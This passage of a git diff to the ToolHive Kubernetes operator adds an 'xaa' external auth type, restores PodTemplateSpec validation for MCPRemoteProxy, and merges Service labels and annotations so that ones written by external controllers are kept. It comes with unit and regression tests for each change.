!= nil || - r.Spec.UpstreamInject != nil || - r.Spec.OBO != nil { + if r.Spec.OBO != nil { return fmt.Errorf("no configuration must be set when type is 'unauthenticated'") } + for _, e := range entries { + if e.isSet { + return fmt.Errorf("no configuration must be set when type is 'unauthenticated'") + } + } } return nil @@ -1531,11 +1621,7 @@ func (r *MCPExternalAuthConfig) validateEmbeddedAuthServer() error { } } - if err := r.validateAuthServerStorage(cfg.Storage); err != nil { - return err - } - - return nil + return r.validateAuthServerStorage(cfg.Storage) } // validateUpstreamProvider validates a single upstream provider configuration. diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go index d8fd4294eb..920cb06beb 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go @@ -294,6 +294,25 @@ func TestMCPExternalAuthConfig_Validate(t *testing.T) { }, expectErr: false, }, + { + name: "valid xaa type", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeXAA, + XAA: &XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + expectErr: false, + }, { // Go Validate() intentionally does NOT check OBOConfig fields: the // required-field, pattern, and "at least one of audience or scopes" @@ -363,6 +382,42 @@ func TestMCPExternalAuthConfig_Validate(t *testing.T) { expectErr: true, errMsg: "obo configuration must be set if and only if type is 'obo'", }, + { + name: "invalid xaa with nil spec", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa-nil", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeXAA, + XAA: nil, + }, + }, + expectErr: true, + errMsg: "xaa configuration must be set if and only if type is 'xaa'", + }, + { + name: "invalid xaa config set on non-xaa type", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa-on-tokenexchange", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{TokenURL: "https://example.com/token"}, + XAA: &XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + expectErr: true, + errMsg: "xaa configuration must be set if and only if type is 'xaa'", + }, { name: "invalid OIDC provider with oauth2Config instead", config: &MCPExternalAuthConfig{ diff --git a/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go b/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go index 35ad9b89b1..ecb2bdbeb2 100644 --- a/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpremoteproxy_types.go @@ -125,6 +125,16 @@ type MCPRemoteProxySpec struct { // +optional ServiceAccount *string `json:"serviceAccount,omitempty"` + // PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + // This allows for customizing the pod configuration beyond what is provided by the other fields. + // Note that to modify the specific container the remote proxy runs in, you must specify + // the `toolhive` container name in the PodTemplateSpec. + // This field accepts a PodTemplateSpec object as JSON/YAML. + // +optional + // +kubebuilder:pruning:PreserveUnknownFields + // +kubebuilder:validation:Type=object + PodTemplateSpec *runtime.RawExtension `json:"podTemplateSpec,omitempty"` + // TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies // When enabled, the proxy will use X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port, // and X-Forwarded-Prefix headers to construct endpoint URLs @@ -138,11 +148,6 @@ type MCPRemoteProxySpec struct { // +optional EndpointPrefix string `json:"endpointPrefix,omitempty"` - // PodTemplateSpec allows customizing the pod template for the proxy deployment. - // Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. - // +optional - PodTemplateSpec *runtime.RawExtension `json:"podTemplateSpec,omitempty"` - // ResourceOverrides allows overriding annotations and labels for resources created by the operator // +optional ResourceOverrides *ResourceOverrides `json:"resourceOverrides,omitempty"` @@ -298,6 +303,9 @@ const ( // ConditionTypeMCPRemoteProxyAuthServerRefValidated indicates whether the AuthServerRef is valid ConditionTypeMCPRemoteProxyAuthServerRefValidated = "AuthServerRefValidated" + // ConditionTypeMCPRemoteProxyPodTemplateValid indicates whether the PodTemplateSpec is valid + ConditionTypeMCPRemoteProxyPodTemplateValid = "PodTemplateValid" + // ConditionTypeMCPRemoteProxyCABundleRefValidated indicates whether the OIDC CA bundle reference is valid ConditionTypeMCPRemoteProxyCABundleRefValidated = "CABundleRefValidated" @@ -389,6 +397,12 @@ const ( // ConditionReasonMCPRemoteProxyAuthServerRefMultiUpstream indicates multi-upstream is not supported ConditionReasonMCPRemoteProxyAuthServerRefMultiUpstream = "MultiUpstreamNotSupported" + // ConditionReasonMCPRemoteProxyPodTemplateValid indicates PodTemplateSpec validation succeeded + ConditionReasonMCPRemoteProxyPodTemplateValid = "ValidPodTemplateSpec" + + // ConditionReasonMCPRemoteProxyPodTemplateInvalid indicates PodTemplateSpec validation failed + ConditionReasonMCPRemoteProxyPodTemplateInvalid = "InvalidPodTemplateSpec" + // ConditionReasonMCPRemoteProxyCABundleRefValid indicates the CA bundle ref is valid and the ConfigMap exists ConditionReasonMCPRemoteProxyCABundleRefValid = "CABundleRefValid" diff --git a/cmd/thv-operator/api/v1beta1/mcpserver_types.go b/cmd/thv-operator/api/v1beta1/mcpserver_types.go index 34588d33fb..297486aa15 100644 --- a/cmd/thv-operator/api/v1beta1/mcpserver_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpserver_types.go @@ -620,6 +620,7 @@ type PermissionProfileRef struct { } // PermissionProfileSpec defines the permissions for an MCP server +// +gendoc type PermissionProfileSpec struct { // Read is a list of paths that the MCP server can read from // +listType=atomic diff --git a/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go b/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go index d2b37439a7..699eb0d601 100644 --- a/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go +++ b/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go @@ -252,6 +252,7 @@ const ( // DiscoveredBackend is an alias to the canonical definition in pkg/vmcp/types.go // This provides a local name for use in the CRD status. +// +gendoc type DiscoveredBackend = vmcptypes.DiscoveredBackend // VirtualMCPServerStatus defines the observed state of VirtualMCPServer diff --git a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go index 4fe8bd406a..856788d2cf 100644 --- a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go +++ b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go @@ -918,6 +918,11 @@ func (in *MCPExternalAuthConfigSpec) DeepCopyInto(out *MCPExternalAuthConfigSpec *out = new(OBOConfig) (*in).DeepCopyInto(*out) } + if in.XAA != nil { + in, out := &in.XAA, &out.XAA + *out = new(XAASpec) + (*in).DeepCopyInto(*out) + } } // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MCPExternalAuthConfigSpec. @@ -3409,3 +3414,33 @@ func (in *WorkloadReference) DeepCopy() *WorkloadReference { in.DeepCopyInto(out) return out } + +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. +func (in *XAASpec) DeepCopyInto(out *XAASpec) { + *out = *in + if in.IDPClientSecretRef != nil { + in, out := &in.IDPClientSecretRef, &out.IDPClientSecretRef + *out = new(SecretKeyRef) + **out = **in + } + if in.TargetClientSecretRef != nil { + in, out := &in.TargetClientSecretRef, &out.TargetClientSecretRef + *out = new(SecretKeyRef) + **out = **in + } + if in.Scopes != nil { + in, out := &in.Scopes, &out.Scopes + *out = make([]string, len(*in)) + copy(*out, *in) + } +} + +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new XAASpec. +func (in *XAASpec) DeepCopy() *XAASpec { + if in == nil { + return nil + } + out := new(XAASpec) + in.DeepCopyInto(out) + return out +} diff --git a/cmd/thv-operator/controllers/embeddingserver_controller.go b/cmd/thv-operator/controllers/embeddingserver_controller.go index 8725380ed4..9dcd316346 100644 --- a/cmd/thv-operator/controllers/embeddingserver_controller.go +++ b/cmd/thv-operator/controllers/embeddingserver_controller.go @@ -289,8 +289,11 @@ func (r *EmbeddingServerReconciler) ensureService( if r.serviceNeedsUpdate(service, embedding) { desiredService := r.serviceForEmbedding(ctx, embedding) service.Spec.Ports = desiredService.Spec.Ports - service.Labels = desiredService.Labels - service.Annotations = desiredService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(desiredService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(desiredService.Annotations, service.Annotations) // Preserve ClusterIP as it's immutable if err := r.Update(ctx, service); err != nil { ctxLogger.Error(err, "Failed to update Service", @@ -332,18 +335,16 @@ func (*EmbeddingServerReconciler) serviceNeedsUpdate( } } - // Check if expected annotations are present in service - for key, value := range expectedAnnotations { - if service.Annotations[key] != value { - return true - } + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. Exact equality would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { + return true } - // Check if expected labels are present in service - for key, value := range expectedLabels { - if service.Labels[key] != value { - return true - } + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { + return true } return false diff --git a/cmd/thv-operator/controllers/embeddingserver_controller_test.go b/cmd/thv-operator/controllers/embeddingserver_controller_test.go index c13ac18a6b..abf2f683e5 100644 --- a/cmd/thv-operator/controllers/embeddingserver_controller_test.go +++ b/cmd/thv-operator/controllers/embeddingserver_controller_test.go @@ -1161,3 +1161,79 @@ func TestEmbeddingServer_PodTemplateSpec_EmptyObjectIsNoOp(t *testing.T) { assert.Contains(t, c.Args, "--model-id") assert.Contains(t, c.Args, "test-model") } + +// TestEmbeddingServerServiceNeedsUpdate_ExternalAnnotationsIgnored is a regression test +// for #5730: external controllers (e.g. GKE NEG/Gateway) write cloud.google.com/* +// annotations on the Service; these are not operator-owned and must not be treated as +// drift. A genuine operator-owned change (port) must still be detected. +func TestEmbeddingServerServiceNeedsUpdate_ExternalAnnotationsIgnored(t *testing.T) { + t.Parallel() + + embedding := v1beta1test.NewEmbeddingServer("embed", testNamespaceDefault, + v1beta1test.WithEmbeddingPort(9000)) + r := &EmbeddingServerReconciler{} + + svc := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Ports: []corev1.ServicePort{{Name: "http", Port: 9000}}, + }, + } + assert.False(t, r.serviceNeedsUpdate(svc, embedding), + "external annotation must not be treated as drift") + + svc.Spec.Ports[0].Port = 1234 + assert.True(t, r.serviceNeedsUpdate(svc, embedding), + "operator-owned port drift must still be detected") +} + +// TestEmbeddingServerEnsureService_PreservesExternalAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be merged, not stripped. +func TestEmbeddingServerEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + embedding := v1beta1test.NewEmbeddingServer("embed-ext", testNamespaceDefault, + v1beta1test.WithEmbeddingPort(9000)) + + // Existing Service co-owned by GKE (external annotation) with a drifted operator-owned + // field (wrong port) so serviceNeedsUpdate fires. + existing := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: embedding.Name, + Namespace: embedding.Namespace, + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Ports: []corev1.ServicePort{{Name: "http", Port: 1234}}, + }, + } + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(embedding, existing). + Build() + r := &EmbeddingServerReconciler{Client: fakeClient, Scheme: scheme} + + _, err := r.ensureService(context.TODO(), embedding) + require.NoError(t, err) + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(context.TODO(), types.NamespacedName{ + Name: embedding.Name, + Namespace: embedding.Namespace, + }, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"9000":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"]) + // ...and the operator-owned port corrected. + require.Len(t, updated.Spec.Ports, 1) + assert.Equal(t, int32(9000), updated.Spec.Ports[0].Port) +} diff --git a/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go b/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go index efb31ee0b8..35e2c95307 100644 --- a/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go +++ b/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go @@ -57,6 +57,8 @@ type MCPExternalAuthConfigReconciler struct { // Reconcile is part of the main kubernetes reconciliation loop which aims to // move the current state of the cluster closer to the desired state. +// +//nolint:gocyclo // dispatches across all auth types + status conditions; refactoring tracked separately func (r *MCPExternalAuthConfigReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { logger := log.FromContext(ctx) diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go index 6b49e32471..b8953dd6f4 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_controller.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_controller.go @@ -50,6 +50,8 @@ type MCPRemoteProxyReconciler struct { ImagePullSecretsDefaults imagepullsecrets.Defaults } +var errInvalidMCPRemoteProxyPodTemplateSpec = stderrors.New("invalid MCPRemoteProxy PodTemplateSpec") + // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcpremoteproxies,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcpremoteproxies/status,verbs=get;update;patch // +kubebuilder:rbac:groups=toolhive.stacklok.dev,resources=mcptoolconfigs,verbs=get;list;watch @@ -85,6 +87,9 @@ func (r *MCPRemoteProxyReconciler) Reconcile(ctx context.Context, req ctrl.Reque // Validate and handle configurations if err := r.validateAndHandleConfigs(ctx, proxy); err != nil { + if stderrors.Is(err, errInvalidMCPRemoteProxyPodTemplateSpec) { + return ctrl.Result{}, nil + } return ctrl.Result{}, err } @@ -107,20 +112,7 @@ func (r *MCPRemoteProxyReconciler) Reconcile(ctx context.Context, req ctrl.Reque func (r *MCPRemoteProxyReconciler) validateAndHandleConfigs(ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy) error { ctxLogger := log.FromContext(ctx) - // Validate the spec - if err := r.validateSpec(ctx, proxy); err != nil { - ctxLogger.Error(err, "MCPRemoteProxy spec validation failed") - proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed - proxy.Status.Message = fmt.Sprintf("Validation failed: %v", err) - meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ - Type: mcpv1beta1.ConditionTypeAuthConfigured, - Status: metav1.ConditionFalse, - Reason: mcpv1beta1.ConditionReasonAuthInvalid, - Message: err.Error(), - }) - if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { - ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status after validation error") - } + if err := r.validateSpecAndPodTemplate(ctx, proxy); err != nil { return err } @@ -199,6 +191,94 @@ func (r *MCPRemoteProxyReconciler) validateAndHandleConfigs(ctx context.Context, return nil } +func (r *MCPRemoteProxyReconciler) validateSpecAndPodTemplate( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, +) error { + ctxLogger := log.FromContext(ctx) + + if err := r.validateSpec(ctx, proxy); err != nil { + ctxLogger.Error(err, "MCPRemoteProxy spec validation failed") + proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed + proxy.Status.Message = fmt.Sprintf("Validation failed: %v", err) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeAuthConfigured, + Status: metav1.ConditionFalse, + Reason: mcpv1beta1.ConditionReasonAuthInvalid, + Message: err.Error(), + }) + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status after validation error") + } + return err + } + + if !r.validateAndUpdatePodTemplateStatus(ctx, proxy) { + return errInvalidMCPRemoteProxyPodTemplateSpec + } + + return nil +} + +// validateAndUpdatePodTemplateStatus validates the PodTemplateSpec and updates status conditions. +// It returns false when the PodTemplateSpec is invalid and reconciliation should stop until the user fixes it. +func (r *MCPRemoteProxyReconciler) validateAndUpdatePodTemplateStatus( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { + ctxLogger := log.FromContext(ctx) + + if proxy.Spec.PodTemplateSpec == nil || proxy.Spec.PodTemplateSpec.Raw == nil { + return true + } + + _, err := ctrlutil.NewPodTemplateSpecBuilder(proxy.Spec.PodTemplateSpec, mcpRemoteProxyContainerName) + if err != nil { + if r.Recorder != nil { + r.Recorder.Eventf(proxy, nil, corev1.EventTypeWarning, "InvalidPodTemplateSpec", "ValidatePodTemplateSpec", + "Failed to parse PodTemplateSpec: %v. Deployment blocked until PodTemplateSpec is fixed.", err) + } + + proxy.Status.Phase = mcpv1beta1.MCPRemoteProxyPhaseFailed + proxy.Status.Message = fmt.Sprintf("Invalid PodTemplateSpec: %v", err) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + Status: metav1.ConditionFalse, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateInvalid, + Message: fmt.Sprintf("Failed to parse PodTemplateSpec: %v. Deployment blocked until fixed.", err), + }) + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeReady, + Status: metav1.ConditionFalse, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonDeploymentNotReady, + Message: fmt.Sprintf("Invalid PodTemplateSpec: %v", err), + }) + + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status with PodTemplateSpec validation") + return false + } + + ctxLogger.Error(err, "PodTemplateSpec validation failed") + return false + } + + meta.SetStatusCondition(&proxy.Status.Conditions, metav1.Condition{ + Type: mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + Status: metav1.ConditionTrue, + ObservedGeneration: proxy.Generation, + Reason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateValid, + Message: "PodTemplateSpec is valid", + }) + if statusErr := r.Status().Update(ctx, proxy); statusErr != nil { + ctxLogger.Error(statusErr, "Failed to update MCPRemoteProxy status with PodTemplateSpec validation") + } + + return true +} + // ensureAllResources ensures all Kubernetes resources for the proxy func (r *MCPRemoteProxyReconciler) ensureAllResources( ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy, @@ -332,6 +412,11 @@ func (r *MCPRemoteProxyReconciler) ensureDeployment( deployment.Spec.Template = newDeployment.Spec.Template deployment.Labels = newDeployment.Labels deployment.Annotations = ctrlutil.MergeAnnotations(newDeployment.Annotations, deployment.Annotations) + + if proxy.Spec.PodTemplateSpec == nil || len(proxy.Spec.PodTemplateSpec.Raw) == 0 { + delete(deployment.Annotations, podTemplateSpecHashAnnotation) + } + if newDeployment.Spec.Replicas != nil { deployment.Spec.Replicas = newDeployment.Spec.Replicas } @@ -381,8 +466,11 @@ func (r *MCPRemoteProxyReconciler) ensureService( } service.Spec.Ports = newService.Spec.Ports service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = newService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) ctxLogger.Info("Updating Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) if err := r.Update(ctx, service); err != nil { @@ -1447,7 +1535,7 @@ func (r *MCPRemoteProxyReconciler) deploymentNeedsUpdate( return true } - if r.containerNeedsUpdate(ctx, deployment, proxy) { + if r.containerNeedsUpdate(ctx, deployment, proxy, runConfigChecksum) { return true } @@ -1459,7 +1547,11 @@ func (r *MCPRemoteProxyReconciler) deploymentNeedsUpdate( return true } - if r.podSpecNeedsUpdate(deployment, proxy) { + if r.podTemplateSpecNeedsUpdate(ctx, deployment, proxy) { + return true + } + + if r.podSpecNeedsUpdate(ctx, deployment, proxy, runConfigChecksum) { return true } @@ -1483,11 +1575,45 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( ctx context.Context, deployment *appsv1.Deployment, proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, ) bool { if deployment == nil || proxy == nil || len(deployment.Spec.Template.Spec.Containers) == 0 { return true } + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + return r.containerNeedsUpdateWithPodTemplate(ctx, deployment, proxy, runConfigChecksum) + } + + return r.generatedContainerNeedsUpdate(ctx, deployment, proxy) +} + +func (r *MCPRemoteProxyReconciler) containerNeedsUpdateWithPodTemplate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, +) bool { + expectedDeployment := r.deploymentForMCPRemoteProxy(ctx, proxy, runConfigChecksum) + if expectedDeployment == nil { + return true + } + currentContainer, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + if !ok { + return true + } + expectedContainer, ok := findContainerByName(expectedDeployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + if !ok { + return true + } + return remoteProxyContainerFieldsNeedUpdate(currentContainer, expectedContainer) +} + +func (r *MCPRemoteProxyReconciler) generatedContainerNeedsUpdate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { container := deployment.Spec.Template.Spec.Containers[0] // Check if runner image has changed @@ -1525,7 +1651,7 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( } // Check if service account has changed - expectedServiceAccountName := proxyRunnerServiceAccountNameForRemoteProxy(proxy.Name) + expectedServiceAccountName := serviceAccountNameForRemoteProxy(proxy) currentServiceAccountName := deployment.Spec.Template.Spec.ServiceAccountName if currentServiceAccountName != "" && currentServiceAccountName != expectedServiceAccountName { return true @@ -1534,6 +1660,32 @@ func (r *MCPRemoteProxyReconciler) containerNeedsUpdate( return false } +func findContainerByName(containers []corev1.Container, name string) (*corev1.Container, bool) { + for i := range containers { + if containers[i].Name == name { + return &containers[i], true + } + } + return nil, false +} + +func remoteProxyContainerFieldsNeedUpdate(current, expected *corev1.Container) bool { + if current == nil || expected == nil { + return true + } + + return current.Image != expected.Image || + !equality.Semantic.DeepEqual(current.Args, expected.Args) || + !equality.Semantic.DeepEqual(current.Env, expected.Env) || + !equality.Semantic.DeepEqual(current.VolumeMounts, expected.VolumeMounts) || + !equality.Semantic.DeepEqual(current.Resources, expected.Resources) || + !equality.Semantic.DeepEqual(current.Ports, expected.Ports) || + !equality.Semantic.DeepEqual(current.StartupProbe, expected.StartupProbe) || + !equality.Semantic.DeepEqual(current.LivenessProbe, expected.LivenessProbe) || + !equality.Semantic.DeepEqual(current.ReadinessProbe, expected.ReadinessProbe) || + !equality.Semantic.DeepEqual(current.SecurityContext, expected.SecurityContext) +} + // deploymentMetadataNeedsUpdate checks if deployment-level metadata has changed. // // Compares deployment labels and annotations, including any user-specified overrides @@ -1590,6 +1742,11 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( labelsForMCPRemoteProxy(proxy.Name), proxy, runConfigChecksum, ) + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + return !ctrlutil.MapIsSubset(expectedPodTemplateLabels, deployment.Spec.Template.Labels) || + !ctrlutil.MapIsSubset(expectedPodTemplateAnnotations, deployment.Spec.Template.Annotations) + } + if !maps.Equal(deployment.Spec.Template.Labels, expectedPodTemplateLabels) { return true } @@ -1601,6 +1758,29 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( return false } +// podTemplateSpecNeedsUpdate checks whether the user-provided PodTemplateSpec raw input changed. +func (*MCPRemoteProxyReconciler) podTemplateSpecNeedsUpdate( + ctx context.Context, + deployment *appsv1.Deployment, + proxy *mcpv1beta1.MCPRemoteProxy, +) bool { + if deployment == nil || proxy == nil { + return true + } + + if proxy.Spec.PodTemplateSpec == nil || proxy.Spec.PodTemplateSpec.Raw == nil { + _, hadPrevious := deployment.Annotations[podTemplateSpecHashAnnotation] + return hadPrevious + } + + expectedHash, err := checksum.HashRawJSON(proxy.Spec.PodTemplateSpec.Raw) + if err != nil { + log.FromContext(ctx).Error(err, "Failed to hash PodTemplateSpec, assuming update needed") + return true + } + return deployment.Annotations[podTemplateSpecHashAnnotation] != expectedHash +} + // podSpecNeedsUpdate checks if pod-level fields (not container fields) have drifted. // // Currently compares ImagePullSecrets — the merge of cluster-wide chart @@ -1608,12 +1788,29 @@ func (r *MCPRemoteProxyReconciler) podTemplateMetadataNeedsUpdate( // equality.Semantic.DeepEqual so nil and empty slices are treated as equal, // which matches Kubernetes' own serialization semantics. func (r *MCPRemoteProxyReconciler) podSpecNeedsUpdate( + ctx context.Context, deployment *appsv1.Deployment, proxy *mcpv1beta1.MCPRemoteProxy, + runConfigChecksum string, ) bool { + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + expectedDeployment := r.deploymentForMCPRemoteProxy(ctx, proxy, runConfigChecksum) + if expectedDeployment == nil { + return true + } + return deployment.Spec.Template.Spec.ServiceAccountName != expectedDeployment.Spec.Template.Spec.ServiceAccountName || + !equality.Semantic.DeepEqual( + deployment.Spec.Template.Spec.ImagePullSecrets, + expectedDeployment.Spec.Template.Spec.ImagePullSecrets, + ) + } + + if deployment.Spec.Template.Spec.ServiceAccountName != serviceAccountNameForRemoteProxy(proxy) { + return true + } + expected := r.imagePullSecretsForRemoteProxy(proxy) - current := deployment.Spec.Template.Spec.ImagePullSecrets - return !equality.Semantic.DeepEqual(current, expected) + return !equality.Semantic.DeepEqual(deployment.Spec.Template.Spec.ImagePullSecrets, expected) } // serviceNeedsUpdate checks if the service needs to be updated @@ -1647,11 +1844,15 @@ func (*MCPRemoteProxyReconciler) serviceNeedsUpdate(service *corev1.Service, pro } } - if !maps.Equal(service.Labels, expectedLabels) { + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. maps.Equal would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go b/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go index c4fbd7a4d1..ca46adcd7e 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go @@ -23,24 +23,14 @@ import ( "github.com/stacklok/toolhive/pkg/vmcp/headerforward/wirefmt" ) +const mcpRemoteProxyContainerName = "toolhive" + // deploymentForMCPRemoteProxy returns a MCPRemoteProxy Deployment object func (r *MCPRemoteProxyReconciler) deploymentForMCPRemoteProxy( ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy, runConfigChecksum string, ) *appsv1.Deployment { ls := labelsForMCPRemoteProxy(proxy.Name) - // Extract scheduling from PodTemplateSpec - var proxyNodeSelector map[string]string - var proxyTolerations []corev1.Toleration - var proxyAffinity *corev1.Affinity - builder, ptsErr := ctrlutil.NewPodTemplateSpecBuilder(proxy.Spec.PodTemplateSpec, "toolhive") - if ptsErr != nil { - ctxLogger := log.FromContext(ctx) - ctxLogger.Error(ptsErr, "Invalid PodTemplateSpec on MCPRemoteProxy") - } else { - proxyNodeSelector, proxyTolerations, proxyAffinity = builder.SchedulingSpec() - } - // Build deployment components using helper functions args := r.buildContainerArgs() volumeMounts, volumes := r.buildVolumesForProxy(proxy) @@ -96,13 +86,10 @@ func (r *MCPRemoteProxyReconciler) deploymentForMCPRemoteProxy( }, Spec: corev1.PodSpec{ ServiceAccountName: serviceAccountNameForRemoteProxy(proxy), - NodeSelector: proxyNodeSelector, - Tolerations: proxyTolerations, - Affinity: proxyAffinity, ImagePullSecrets: r.imagePullSecretsForRemoteProxy(proxy), Containers: []corev1.Container{{ Image: getToolhiveRunnerImage(), - Name: "toolhive", + Name: mcpRemoteProxyContainerName, Args: args, Env: env, VolumeMounts: volumeMounts, @@ -120,6 +107,13 @@ func (r *MCPRemoteProxyReconciler) 